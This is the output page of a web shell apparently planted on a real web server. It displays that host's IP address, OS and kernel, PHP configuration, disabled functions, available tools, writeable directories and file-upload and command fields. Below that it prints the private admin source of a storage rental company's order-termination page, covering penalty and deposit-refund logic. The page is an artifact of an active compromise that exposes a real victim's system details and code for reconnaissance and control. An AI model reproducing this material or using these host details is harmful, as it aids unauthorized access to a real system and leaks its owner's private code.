403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/innoutstorage/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/innoutstorage/webadmin/terminate_order.php
<?php
	require_once('check_login.php');

	if (empty($_GET["order_id"]) || (int)$_GET["order_id"] < 0) {
		echo "<script>alert('缺少必要的資料,請再嘗試。'); history.back();</script>";
		exit;
	}else{
		$order_id = (int)$_GET["order_id"];

		$order_info = get_order($order_id);

		if($order_info['renew']) {
			$deposit_info = get_order_deposit($order_info['first_order_id']);
			$deposit_remark = '初始按金';
		} else {
			$deposit_info = get_order_deposit($order_id);
			$deposit_remark = NULL;
		}

		if ($deposit_info['deposit_status'] != "PAID") {
			$deposit_info = NULL;
		}

		//$invoice_info = get_order_invoice($order_id);
		$sql          = "select *,
									invoice.id as invoice_id,
									invoice.status as invoice_status,
									invoice.code as invoice_code,
									invoice.docdate as invoice_docdate,
									invoice.duedate as invoice_duedate,
									invoice.lastupdate as invoice_lastupdate,
									invoice.lastupby as invoice_lastupby,
									invoice.amount as invoice_amount,
									invoice.balance as invoice_balance
								from `invoice` invoice
								where invoice.deleted = ? and order_id = ? order by invoice.code ASC";
		$parameters   = array(0, $order_id);
		$invoice_info = bind_pdo($sql, $parameters, "selectall");

		if($order_info["paymethod"] == "CREDIT_CARD"){
			$pay_by_deposit = round(($deposit_info["deposit_amount"] - $deposit_info["deposit_balance"])*0.97, 1);
			$pay_by_deposit_remark = "($".$deposit_info["deposit_amount"]."x0.97)";
		}else{
			$pay_by_deposit = $deposit_info["deposit_amount"] - $deposit_info["deposit_balance"];
			$pay_by_deposit_remark = "";
		}

	}
?>

<!DOCTYPE html>
<html>
<head>
	<?php require_once("html_head.php"); ?>

	<style>
		#invoice_list{
			border-collapse: collapse;
		}

		#invoice_list td{
			padding: 5px;
			border: 1px solid #000000;
		}

		#invoice_list tr:hover{
			background-color: #7EBF3D;
		}

		.pay_by_deposit{
			/*display: none;*/
		}
	</style>


</head>
<body>

<form id="terminate_order_modify_form" action="terminate_order_modify.php" method="post" name="modifyform" enctype="multipart/form-data">
	<input type="hidden" name="order_id" value="<?= $order_id; ?>"/>

	<table border="0" cellpadding="0" cellspacing="0">
		<tr>
			<td height="70" align="right" valign="middle" class="icontxt">
				<table border="0" cellpadding="0" cellspacing="0">
					<tr>
						<!-- 
						<td width="50" align="center" style="font-size: 12px;">
							<input type="image" alt="submit" src="images/iconSave.png" width="32" height="32" border="0"><br>
							&nbsp;儲存&nbsp;&nbsp;
						</td>
						-->
						<td width="50" align="center">
                            <a href="order_index.php?<?php 
								if (isset($_SESSION["index_url_parameter"])){
									if(substr($_SESSION["index_url_parameter"],-18) == urlencode("取消")){
										echo $_SESSION["index_url_parameter"];
									} else {
										echo $_SESSION["index_url_parameter"] . "&msg=取消";
									}
								}
								?>"
							>
								<img src="images/iconCancel.png" alt="取消" width="32" height="32" border="0"><br>						
								&nbsp;取消&nbsp;&nbsp;
							</a>
						</td>
					</tr>
				</table>
			</td>
		</tr>
		<tr>
			<td>
				<span style="float:left;" class="pagetitletxt">
					&nbsp;&nbsp;<b><img src="images/iconList.jpg" width="48" height="48" align="absmiddle"/> 退倉
					</b></span>
			</td>
		</tr>
		<tr>
			<td align="left" valign="middle"><!-- Content -->

				<table style="width: 1000px; padding-left: 15px;">

					<tr>
						<td style="width: 130px;">
							<p>合約編號: </p>
						</td>

						<td>
							<a href="order_modifyform.php?order_id=<?= $order_info["id"]; ?>" target="_blank"><?= $order_info["code"]; ?></a>
						</td>
					</tr>

					<tr>
						<td style="width: 130px;">
							<p>租約期: </p>
						</td>

						<td>
							<span><?= $order_info["startdate"]; ?></span> 至
							<span id="enddate"><?= $order_info["enddate"]; ?></span>

						</td>
					</tr>

					<tr>
						<td style="width: 130px;">
							<p>退租日期: </p>
						</td>
						
						<td>
							<input 
								id="termination_date" 
								type="date" 
								name="withdraw_date" 
								id="withdraw_date" 
								value=<?= date("Y-m-d");/* $order_info["enddate"]; */ ?> 
								onchange="calculate_penalty(this.value, <?=(int)$order_info['total_retail_price']?>)"
							>
						</td>
					</tr>

					<tr>
						<td colspan="2">
							<p>遲退還租金 $
							<form name="edit_penalty_amount" id="edit_penalty_amount" method="post">
								<input 
									type="number" 
									id="penalty_amount" 
									name="penalty_amount" 
									value=<?php 		
										if($order_info["withdraw_remuneration"]){
											echo (int)$order_info["withdraw_remuneration"];
										} else{
											echo 0;
										}
									?>
									style="width: 70px;"
									onchange="update_withdraw_remuneration(this.value)"
								>
							</form>
						</td>
					</tr>

					<tr>
						<td style="width: 130px;">
							<p>按金付款方式: </p>
						</td>
						<td>
							<?php
								if($deposit_info){
									$paymethod = get_master_type_code("PAYMENT_METHOD", $order_info["paymethod"]);
									echo $paymethod["name_tc"];
									if($order_info["paymethod"] == "CREDIT_CARD"){
										echo "&nbsp;&nbsp;&nbsp;(退還按金時需扣減3%手續費)";
									}
								} else {
									echo '不適用';
								}
							?>
						</td>
					</tr>

					<!--
					<tr>
						<td style="width: 130px;">
							<p>使用按金支付: </p>
						</td>

						<td>
							<input type="checkbox" name="pay_by_deposit" value="<?/*= $pay_by_deposit */?>"/> $<?/*= $pay_by_deposit*/?>
							&nbsp;&nbsp;&nbsp;<?/*=$pay_by_deposit_remark*/?>
						</td>
					</tr>
					-->

					<tr>
						<td style="width: 100px;">
							<p>發票列表: </p>
						</td>

						<td>
							<table id="invoice_list">
								<tr>
									<td>發票類型</td>
									<td>發票編號</td>
									<td>繳費日期</td>
									<td>備註</td>
									<td>金額</td>
									<td>結欠</td>
								</tr>

								<?php
									$total_remain_amount = 0;

									/* 按金發票	 */
									//foreach($deposit_info as $deposit){
									$type_info = get_master_type_code("PAYMENT_TYPE", "DEPOSIT");
									if ($deposit_info) {
										$total_remain_amount += $deposit_info["deposit_balance"];
										if($deposit_info["deposit_balance"] > 0){
											$font_color = "color: red;";
										}else{
											$font_color = "";
										}
										echo "<tr>
												<td>".$type_info["name_tc"]."</td>
												<td><a href='deposit_modifyform.php?id=".$deposit_info["deposit_id"]."' target='_blank'>".$deposit_info["deposit_code"]."</a></td>
												<td>".$deposit_info["deposit_duedate"]."</td>
												<td>$deposit_remark</td>
												<td>$".$deposit_info["deposit_amount"]."</td>
												<td 
													class='invoice_balance' 
													style='".$font_color."'
												>
													$".$deposit_info["deposit_balance"]."
												</td>
											</tr>";
									}
									//}

									/* 租金及其他發票 */
									foreach($invoice_info as $invoice){

										$type_info = get_master_type_code("PAYMENT_TYPE", "INVOICE");

										$total_remain_amount += $invoice["invoice_balance"];

										if($invoice["invoice_balance"] > 0){
											$font_color = "color: red;";
										}else{
											$font_color = "";
										}

										$remark = "";
										$invoice_dtl_info = get_invoice_detail($invoice["invoice_id"]);

										foreach($invoice_dtl_info as $dtl){
											$remark .= nl2br($dtl["remark"])."<br><br>";
										}
										$remark = substr_replace($remark ,"",-8);

										echo "<tr>
												<td>".$type_info["name_tc"]."</td>
												<td><a href='invoice_modifyform.php?id=".$invoice["invoice_id"]."' target='_blank'>".$invoice["invoice_code"]."</a></td>
												<td>".$invoice["invoice_duedate"]."</td>
												<td class='check_type'>".$remark."</td>
												<td>$".$invoice["invoice_amount"]."</td>
												<td 
													class='invoice_balance'
													style='".$font_color."'
												>
													$".$invoice["invoice_balance"]."
												</td>
											</tr>";
									}


									/* 退倉通知賠償	

									$type_info = get_master_type_code("PAYMENT_TYPE", "PENALTY");

									$total_remain_amount += $penalty_amount;

									echo "<tr>
											<td>".$type_info["name_tc"]."</td>
											<td></td>
											<td id='invoice_list_penalty_date'>". date("Y-m-d") ."</td>
											<td></td>
											<td id='invoice_list_penalty_amount'>$".$deposit_info["deposit_amount"]."</td>
											<td>$0.0</td>
										</tr>";

									if($total_remain_amount > 0){
										$font_color = "color: red;";
									}else{
										$font_color = "";
									}

									*/ 

									echo "<tr id='initial_withdraw_remuneration'>
											<td colspan='5' style='text-align: right;'>遲退還租金 :</td>
											<td>
												<span 
													id='invoice_list_penalty_amount' 
													class='invoice_balance' 
													style='".$font_color."'
												>
												</span>
											</td>
										</tr>";

									echo "<tr>
											<td colspan='5' style='text-align: right;'>總結欠 :</td>
											<td>
												<span id='total_remain_amount_display' style='" . $font_color . "'></span>
												<input class='total_remain_amount' type='hidden' name='int_total_remain_amount'/>
												<input class='total_remain_amount' type='hidden' name='real_int_total_remain_amount'/>
											</td>
										</tr>";

									/* 
									echo "<tr>
											<td colspan='5' style='text-align: right;'>總結欠 :</td>
											<td>
												<span id='total_remain_amount' style='".$font_color."'>$".numberformat($total_remain_amount, 1)."</span>
												<input name='int_total_remain_amount' value='".($total_remain_amount)."' />
												<input name='real_int_total_remain_amount' value='".($total_remain_amount)."' />
											</td>
										</tr>";
									*/
									if ($deposit_info){
										echo "<tr class='pay_by_deposit'>
												<td colspan='5' style='text-align: right;'>
													<input type='checkbox' name='pay_by_deposit' value='".$pay_by_deposit ."'/>
													使用按金支付 :
												</td>
												<td>
													$" . number_format($pay_by_deposit, 1, '.', '') . "<br>" . ($order_info["paymethod"] == "CREDIT_CARD"?"(已扣減3%手續費)":"")."
												</td>
											</tr>";
	
										echo "<tr>
												<td colspan='5' style='text-align: right;'>退回按金 :</td>
												<td>
													<span id='return_deposit'>
														$".numberformat($deposit_info["deposit_amount"] - $deposit_info["deposit_balance"])."
													</span>
													<input 
														type='hidden' 
														name='return_deposit' 
														value='" . ($deposit_info["deposit_amount"] - $deposit_info["deposit_balance"]) . "' 
													/>
												</td>
											</tr>";
									}
								?>
							</table>
							<br>
						</td>
					</tr>

					<!--<tr id="paymethod">
						<td style="width: 100px;">
							<p class="required">付款方式: </p>
						</td>

						<td>
							<?php
/*								$payment_method_info = get_master_type_code("PAYMENT_METHOD");

								foreach ($payment_method_info as $payment_method) {

									if($payment_method["code"] == "CASH" || $payment_method["code"] == "CREDIT_CARD" || $payment_method["code"] == "OTHER" || $payment_method["code"] == "CHEQUE" ){
										echo '<input type="radio" name="paymethod" value="' . $payment_method["code"] . '"> ' . $payment_method["name_tc"] . ' <br>';
										if ($payment_method["code"] == "CHEQUE") {
											echo '<div id="cheque_content" style="margin-left: 25px; display: none;">
													銀行名稱 : <input type="text" name="bank_name" style="width: 300px;"> <br>
													支票號碼 : <input type="text" name="cheque_num" style="width: 300px;">
												</div>';
										}

										if ($payment_method["code"] == "OTHER") {
											echo '<input id="other_content" style="width: 300px;margin-left: 25px; display: none;" type="text" name="paymethod_other">';
										}
									}

								}
							*/?>
						</td>
					</tr>-->

					<tr>
						<td></td>
						<td>
							<p class="red">* 必須填寫</p>
						</td>
						<td>

							<!-- 
							<td width="50" align="center" style="font-size: 12px;">
								<input type="image" alt="submit" src="images/iconSave.png" width="32" height="32" border="0"><br>
								&nbsp;儲存&nbsp;&nbsp;
							</td>
							-->
							<!--<button type="submit" onclick="create_withdrawal_invoice()">確定</button>-->
							<button id="submit_form" type="submit" >
								確定
							</button>
						</td>

					</tr>
				</table>

				<br><br><br><br>
				<!-- End Content -->
			</td>
		</tr>
	</table>
</form>

<script type="text/javascript">

	Window.onload = init();

	function init(){
		// check if penalty invoice created
		var check_type = $(".check_type").text();
		if (check_type.includes("退倉通知賠償") || check_type.includes("退倉少於14天通知賠償")){
				// $("#terminate_order_penalty_btn").prop('disabled', true);
				$("#penalty_amount").prop('disabled', true);
				$("#submit_form").text('已退倉');
				$("#submit_form").prop('disabled', true);
				$("#initial_withdraw_remuneration").remove();
			return;
		}

		// get current date
		/* 
			var today = new Date();
			var dd = String(today.getDate()).padStart(2, '0');
			var mm = String(today.getMonth() + 1).padStart(2, '0'); //January is 0!
			var yyyy = today.getFullYear();
			today = mm + '/' + dd + '/' + yyyy;
			// today = yyyy + '-' + mm + '-' + dd;
		*/
		today = $("#termination_date").val();

		console.log('today:', today);

		calculate_penalty(today, <?=(int)$order_info['total_retail_price']?>)
		calculate_total();
	}

	function calculate_penalty(termination_date, pricePerMonth){
		console.log('termination_date:', termination_date);

		let penalty;

		let retailPrice = pricePerMonth;
		let currentYear = termination_date.substring(0, 4);
		let currentMonth = termination_date.substring(5, 7);
		let dayInMonth = new Date (currentYear, currentMonth, 0).getDate();


		// termination date
		let dropDate = new Date(termination_date);
		// contract end date
		let enddate = new Date($("#enddate").text());

		// console.log("退租日:", dropDate.getTime());
		// console.log("合約完結日:", enddate);

		let timeDifferent = dropDate.getTime() - enddate.getTime();

		// console.log("ms time different:", timeDifferent);

		let dayDifferent = timeDifferent/(1000*3600*24);

		console.log("dayDifferent:", dayDifferent);

		// cal penalty based on day
		if(dayDifferent <= 0){
			penalty = 0;
		} else if (dayDifferent < 7) {
			// penalty = retailPrice / 30 * dayDifferent;
			// console.log(dayInMonth);

			penalty = retailPrice/dayInMonth * dayDifferent;
		//} else if (dayDifferent < dayInMonth) {
		} else if (dayDifferent < 30) {
			penalty = retailPrice;
		} else {
			penalty = retailPrice * 2;
		}

		let roundedPenalty = Math.ceil(penalty);


		$("#penalty_amount").val(roundedPenalty);
		update_withdraw_remuneration(roundedPenalty);
	}

	function calculate_total(){

		let invoice_balances = document.querySelectorAll(".invoice_balance");

		let total = 0;
		for (let i of invoice_balances) {
			// trim "$" && ".0" && change datatype to integer
			invoice_balance = +i.textContent.trim().substring(1).slice(0, -2); 
			total += invoice_balance;
		}

		$("#total_remain_amount_display").text("$" + total + ".0");
		$(".total_remain_amount").val(total);

	}

	function update_withdraw_remuneration(penalty){
		let roundedPenalty = Math.ceil(penalty);
		$("#invoice_list_penalty_amount").text("$" + roundedPenalty + ".0");
		calculate_total();
	}

/* 	button onclick to check && create penalty invoice (disabled on 29/09/2022)
	function terminate_order_penalty(){
		// check if penalty invoice created or not
		var check_type = $(".check_type").text();
		if (check_type.includes("退倉通知賠償") || check_type.includes("退倉少於14天通知賠償")){
			$("#terminate_order_penalty_btn").prop('disabled', true);

			alert("發票:退倉通知賠償已建立。");
			return;
		}
		var penalty_amount = $("#penalty_amount").val();
		if (isNaN(penalty_amount)){ // invalid input?
			alert("請輸入正確的退倉賠償金額。");
			return;
		} else if (parseFloat(penalty_amount) <= 0) { // penalty <= 0?
			alert("退倉賠償金額為$0。");
			return;
		} else { // cfm create invoice
			if(confirm("確認退倉賠償金額?")) {
				// console.log($("#penalty_amount").val());
				// console.log(<?=(int)$_GET["order_id"]?>);

				$("#penalty_confirm").val("true");
				location.href='_ajax.php?for=terminate_order_penalty&order_id=<?=(int)$_GET["order_id"]?>&penalty_amount='+penalty_amount;
				$("#terminate_order_penalty_btn").prop('disabled', true);
				console.log($("#penalty_confirm").val());
				return;
			} else {
				return;
			}
		}

	}
*/

	function pay_by_deposit(){

		if($("input[name='pay_by_deposit']").prop("checked")){

			var int_total_remain_amount = $("input[name='int_total_remain_amount']").val();

			if(parseFloat(int_total_remain_amount) == 0){
				$("input[name='pay_by_deposit']").prop("checked", false);
				alert("總結欠金額是$0,無法使用按金支付。");
				return;
			}

			//$(".pay_by_deposit").show();


			var deposit = $("input[name='pay_by_deposit']").val();

			if(parseFloat(deposit) >= parseFloat(int_total_remain_amount)){
				return_deposit = parseFloat(deposit) - parseFloat(int_total_remain_amount);
				int_total_remain_amount = 0;
			}else{
				int_total_remain_amount = parseFloat(int_total_remain_amount) - parseFloat(deposit);
				return_deposit = 0;
			}

			$("#return_deposit").text("$"+return_deposit.toFixed(1));
			//$("#total_remain_amount").text("$"+int_total_remain_amount.toFixed(1));

			$("input[name='return_deposit']").val(return_deposit.toFixed(1));
			$("input[name='real_int_total_remain_amount']").val(int_total_remain_amount.toFixed(1));

			if($("#total_remain_amount").text() == "$0.0"){
				$("input[value='CASH']").prop("checked", true);
			}
		}else{
			//$(".pay_by_deposit").hide();

			return_deposit = parseFloat($("input[name='pay_by_deposit']").val());
			int_total_remain_amount = parseFloat($("input[name='int_total_remain_amount']").val());

			$("#return_deposit").text("$"+return_deposit.toFixed(1));
			$("#total_remain_amount").text("$"+ int_total_remain_amount.toFixed(1));

			$("input[name='return_deposit']").val(return_deposit);
			$("input[name='real_int_total_remain_amount']").val(int_total_remain_amount);
		}

		/*if(parseFloat($("input[name='return_deposit']")) > 0){
			$("#paymethod").show();
		}else{
			$("#paymethod").hide();
		}*/
	}

	$(function () {
		$("input[name='pay_by_deposit']").on("click", function () {
			var return_deposit = $(this).val();
			pay_by_deposit();

		});


		/*if ($("input[name='paymethod']:checked").val() == "CHEQUE") {
			$("#cheque_content").show();
		}

		if ($("input[name='paymethod']:checked").val() == "OTHER") {
			$("#other_content").show();
		}

		$("input[name='paymethod']").on("click", function () {
			$("#cheque_content").hide();
		});

		$("input[value='CHEQUE']").on("click", function () {
			$("#cheque_content").show();
		});

		$("input[value='OTHER']").on("click", function () {
			$("#other_content").show();
		});*/


		var int_total_remain_amount = $("input[name='int_total_remain_amount']").val();

		if(parseFloat(int_total_remain_amount) > 0){
			$("input[name='pay_by_deposit']").prop("checked", true);
		}

		pay_by_deposit();
	})

</script>
</body>
</html>


Youez - 2016 - github.com/yon3zu
LinuXploit